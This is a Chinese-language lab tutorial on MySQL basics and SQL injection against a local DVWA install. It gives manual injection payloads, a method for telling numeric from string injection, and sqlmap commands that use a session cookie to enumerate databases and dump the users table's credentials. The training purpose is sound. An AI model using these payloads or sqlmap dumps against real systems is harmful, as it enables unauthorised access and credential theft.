一.mysql数据库的操作
1.登录mysql
1.打开此电脑输入路径:
D:\phpstudy_pro\Extensions\MySQL5.7.26\bin
2.输入
cmd
指令进入命令行窗口
3.进入命令行窗口输入:
mysql -uroot -p123456
回车 ( -u 后跟数据库名字 -p 后跟数据库密码 )
4.成功进入 mysql 数据库 的终端界面
2.查询全部数据库
进入 mysql 数据库 的终端界面输入:
show databases;
3.查询dvwa数据库中的数据表
1.mysql 数据库 的终端界面输入:
use dvwa;
2.mysql 数据库 的终端界面输入:
show tables;
4.查询users 数据表中的值
1.mysql 数据库 的终端界面输入:
show databases;
2.mysql 数据库 的终端界面输入:
use dvwa;
3mysql 数据库 的终端界面输入:
show tables;
4.mysql 数据库 的终端界面输入:
select * from users;
二.手工注入
or 数字型
1 or 1 = 1
1 or 1 = 2
or 字符型:
1' or '1' = '1
1' or '1' = '2
and 数字型
1 and 1=1
1 and 1 = 2
and字符型:
1' and '1'='1
1' and '1'='2
三.order by 查询字段,报错说明字段小于查询数字
1' or 1 = 1 order by 1 #
四.判断是字符型注入还是数字型注入
如何区分:
1)数字型
当输入的参数x为整型的时候,通常sql语句是这样的
select * from users where id =x
这种类型可以使用经典的and 1=1 and 1=2来判断
-
url地址中输入id=x and 1=1 页面显示正常,继续下一步
-
url地址中输入id=x and 1=2 页面错误,这说明存在数字型注入。
-
原因如下: 当输入and 1=1时,后台会执行sql语句是
select * from users where id =x and 1=1;
没有语法显示错误且,返回正常
当输入and 1=2时,后台会执行sql语句是
select * from users where id =1 and 1=2;
没有语法错误且,返回错误
-
我们在使用假设: 如果是字符型注入的话,我们输入的语句应该会出现这样的状况
'1 and 1=1';
'1 and 1=2';
查询语句将and语句全部转换成字符串,并没有进行and的逻辑判断,所以不会出现以上结果,所以这个等式是不成立的。
2)字符型
当输入的参数x为字符型时,通常sql语句会这样的
id ='x'
这种类型我们可以使用and ‘1’='1 和 and ‘1’='2来进行测试
id='x' and '1'='1'
语法正确,逻辑判断正确,返回正确
当输入and ‘1’=‘2的时候,后台执行的语句是
id='x' and '1'='2'
语法正确,逻辑判断错误,返回错误
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。使用联合查询,查询数据库,跟users表中的账号密码
五.使用 sqlmap 跑出注入 -u -r
1.sqlmap -u "[目标注入点]" --cookie="[站点cookie]"
1.F12先输入数字分析注入点
2.分析出GET请求的注入点是 id=1
3.查看 cookie 令牌
指令:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]"
实例化:
py -3 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1*&Submit=Submit" --cookie "security=low; PHPSESSID=uoanom4ui978elqvdbc8do96s4" --dbs
注意事项:在GET请求的注入点是 id=1 添加一个 * 号;* 表示sql注入漏洞的注入点
-
此时会 提示: 在选项 '-u' 中发现自定义注入标记 ('')。您想处理它吗? 输入 y 回车 。
-
提示: 看起来后端数据库管理系统是 'MySQL'。你想跳过针对其他数据库管理系统的测试负载吗? [Y/n] y 输入 y 回车
-
提示: 对于剩余的测试,你想包括所有针对 'MySQL' 的测试,并扩展提供的级别(1)和风险(1)值吗? [Y/n] y 输入 y 回车
-
提示: URI 参数 '#1' 存在漏洞。您想继续测试其他参数(如果有的话)吗?[y/N] 输入 y 回车
4.显示出存在的注入漏洞类型
-
1.存在sql注入漏洞的注入类型
-
2.sqlmap 自动扫描出来的数据库表
2.sqlmap -r [请求头文件]
1.F12先输入数字分析注入点 ,新建文本文件1.txt ;将请求头数据复制到1.txt 中,在id=2 的注入点位置加上 * ; ( * 表示sql注入漏洞的注入点)
2.指令:
sqlmap -r [请求头文件]
实例化:
py -3 sqlmap.py -r 1.txt
1.sqlmap 扫描指令
2.提示:在选项 '--headers/--user-agent/--referer/--cookie' 中发现自定义注入标记 ('')。您想要处理它吗? [Y/n/q]* 输入 y 回车
3.显示出存在的注入漏洞类型
六. 使用sqlmap对DVWA进行SQL注入测试
(一)DVWA初级:
1. 注入探测
测试指令:
sqlmap -u "[目标注入点]"
执行后,sqlmap会自动检测目标是否存在SQL注入漏洞。如果存在漏洞,它还会自动识别数据库类型(如MySQL)以及所在操作系统(如Windows)。
2. 登录探测
如果目标网站(如DVWA)需要登录才能访问,我们需要将登录后的授权信息传递给sqlmap。
(1)在浏览器中登录DVWA并进入测试页面,打开Firefox的开发者模式,切换到“Network”选项卡。
(2)点击页面的“重新加载”按钮,选择第一个数据包,找到cookie
值。
(3)将cookie
值复制下来,然后使用以下指令进行登录探测:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]"
3. 获取所有数据库名
在确认注入点并获取登录授权后,可以开始探测数据库内容。执行以下命令获取所有数据库名称:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" --dbs
执行后,会列出目标网站的所有数据库名称。
4. 获取指定数据库中的表名
选择一个感兴趣的数据库,查看其中的表。执行以下命令获取指定数据库的表名:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] --tables
例如,如果目标数据库名为dvwa
,则会列出该数据库中的所有表,如users
表。
5. 获取指定表中的所有数据
如果想查看某个表(如users
表)中的所有数据,执行以下命令:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] --dump
执行后,会列出users
表中的所有数据,包括用户名和加密存储的密码。
6. 获取指定表中的列名
如果表中的数据较多,直接列出所有数据可能会显得杂乱。可以先获取表中的列名,执行以下命令:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] --columns
这一步可以帮助我们了解表的结构,为后续查询指定列的数据提供依据。
7. 获取指定列的数据
在获取列名后,可以查询指定列的数据。例如,查询users
表中的user_id,user
和password
列,执行以下命令:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] -C [列名],[列名] --dump
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users -C -C user_id,user,password --dump
执行后,会列出users
表中username
和password
列的所有数据。如果密码字段是加密存储的,sqlmap会提示是否进行解密,选择“yes”即可。
通过以上步骤,我们完成了对DVWA初级难度的SQL注入测试,成功获取了所有用户名和密码。
小结:
-
本文详细介绍了 MySQL数据库的基本操作,以及 SQL注入的实战技巧,包括手工注入和使用 Sqlmap 进行自动化注入测试。
-
通过 DVWA初级难度 的测试,我们逐步展示了如何发现和利用SQL注入漏洞,以获取数据库中的敏感信息。
-
本文内容仅供学习和交流使用,切勿用于非法途径。
-
如果在阅读过程中发现任何错误或有改进建议,请随时联系作者进行修正。
-
后续我们将继续更新 DVWA中级 和 DVWA高级 的内容,深入探讨更复杂的SQL注入场景和应对策略。